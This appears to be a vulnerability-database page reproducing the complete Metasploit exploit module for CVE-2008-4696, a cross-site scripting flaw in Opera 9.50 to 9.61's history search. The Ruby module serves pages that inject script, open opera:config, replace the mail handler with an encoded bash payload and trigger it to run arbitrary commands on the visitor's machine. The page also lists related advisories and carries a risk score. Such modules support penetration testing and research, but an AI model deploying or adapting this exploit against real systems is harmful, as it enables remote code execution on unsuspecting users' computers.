Lucene search
+L

Opera historysearch XSS

🗓️ 23 Oct 2008 00:00:00Reported by Roberto Suggi, Aviv Raff <[email protected]>, egypt <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

Opera historysearch XSS in Opera versions 9.50 to 9.61 allows injection of scripts in search results, leading to arbitrary command executio

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Opera < 9.61 Multiple Vulnerabilities
21 Oct 200800:00
–nessus
nessus
Tenable Nessus
GLSA-200811-01 : Opera: Multiple vulnerabilities
4 Nov 200800:00
–nessus
nessus
Tenable Nessus
Opera < 9.61 Multiple Vulnerabilities
21 Oct 200800:00
–nessus
circl
Circl
CVE-2008-4696
22 Oct 200800:00
–circl
cve
CVE
CVE-2008-4696
23 Oct 200821:00
–cve
cvelist
Cvelist
CVE-2008-4696
23 Oct 200821:00
–cvelist
d2
d2
DSquare Exploit Pack: D2SEC_OPERAXSS
23 Oct 200822:00
–d2
exploitdb
Exploit DB
Opera historysearch - Cross-Site Scripting (Metasploit)
11 Nov 201000:00
–exploitdb
exploitdb
Exploit DB
Opera 9.60 - Persistent Cross-Site Scripting
22 Oct 200800:00
–exploitdb
exploitdb
Exploit DB
Opera 9.50/9.61 historysearch - Command Execution (Metasploit)
23 Oct 200800:00
–exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({
  #  :ua_name    => HttpClients::OPERA,
  #  :javascript => true,
  #  :rank       => ExcellentRanking, # reliable command execution
  #  :vuln_test  => %Q{
  #    v = parseFloat(opera.version());
  #    if (9.5 < v && 9.62 > v) {
  #      is_vuln = true;
  #    }
  #  },
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Opera historysearch XSS',
        'Description' => %q{
          Certain constructs are not escaped correctly by Opera's History
          Search results.  These can be used to inject scripts into the
          page, which can then be used to modify configuration settings
          and execute arbitrary commands.  Affects Opera versions between
          9.50 and 9.61.
        },
        'License' => BSD_LICENSE,
        'Author' => [
          'Roberto Suggi', # Discovered the vulnerability
          'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec
          'egypt', # msf module
        ],
        'References' => [
          ['CVE', '2008-4696'],
          ['OSVDB', '49472'],
          ['BID', '31869'],
          ['URL', 'http://www.opera.com/support/kb/view/903/'],
        ],
        'Payload' => {
          'EXITFUNC' => 'process',
          'Space' => 4000,
          'DisableNops' => true,
          'BadChars' => "\x09\x0a\x0d\x20",
          'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic perl ruby telnet'
              }
        },
        'Targets' => [
          # [ 'Automatic', {  } ],
          # [ 'Opera < 9.61 Windows',
          #	{
          #		'Platform' => 'win',
          #		'Arch' => ARCH_X86,
          #	}
          # ],
          [
            'Opera < 9.61 Unix Cmd',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DisclosureDate' => '2008-10-23', # Date of full-disclosure post showing code exec
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    headers = {}
    html_hdr = %(
      <html>
      <head>
      <title>Loading</title>
      )
    html_ftr = %(
      </head>
      <body >
      <h1>Loading</h1>
      </body></html>
      )

    case request.uri
    when /[?]jspayload/
      p = regenerate_payload(cli)
      if (p.nil?)
        send_not_found(cli)
        return
      end
      # We're going to run this through unescape(), so make sure
      # everything is encoded
      penc = Rex::Text.to_hex(p.encoded, '%')
      content =
        %{
          var s = document.createElement("iframe");

          s.src="opera:config";
          s.id="config_window";
          document.body.appendChild(s);
          config_window.eval(
            "var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
            "old_app = opera.getPreference('Mail','External Application');" +
            "old_handler = opera.getPreference('Mail','Handler');" +
            "opera.setPreference('Mail','External Application',cmd);" +
            "opera.setPreference('Mail','Handler','2');" +
            "app_link = document.createElement('a');" +
            "app_link.setAttribute('href', 'mailto:[email protected]');" +
            "app_link.click();" +
            "setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
            "setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
          "");
          setTimeout(function () {window.location='about:blank'},1);
        }

    when /[?]history/
      js = %^
        window.onload = function() {
          location.href = "opera:historysearch?q=*";
        }
        ^
      content = %(
        #{html_hdr}
        <script><!--
        #{js}
        //--></script>
        #{html_ftr}
        )
    when get_resource
      print_status("Sending #{name} for request #{request.uri}")

      js = %^
        if (window.opera) {
          var wnd = window;
          while (wnd.parent != wnd) {
            wnd = wnd.parent;
          }
          url = location.href;
          wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
        }
        ^
      content = %(
        #{html_hdr}
        <script><!--
        #{js}
        //--></script>
        #{html_ftr}
        )
    else
      print_status("Sending 404 for request #{request.uri}")
      send_not_found(cli)
      return
    end
    content.gsub!(/^ {8}/, '')
    content.gsub!(/\t/, ' ')

    send_response_html(cli, content, headers)
    handler(cli)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Oct 2008 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
EPSS0.45729
22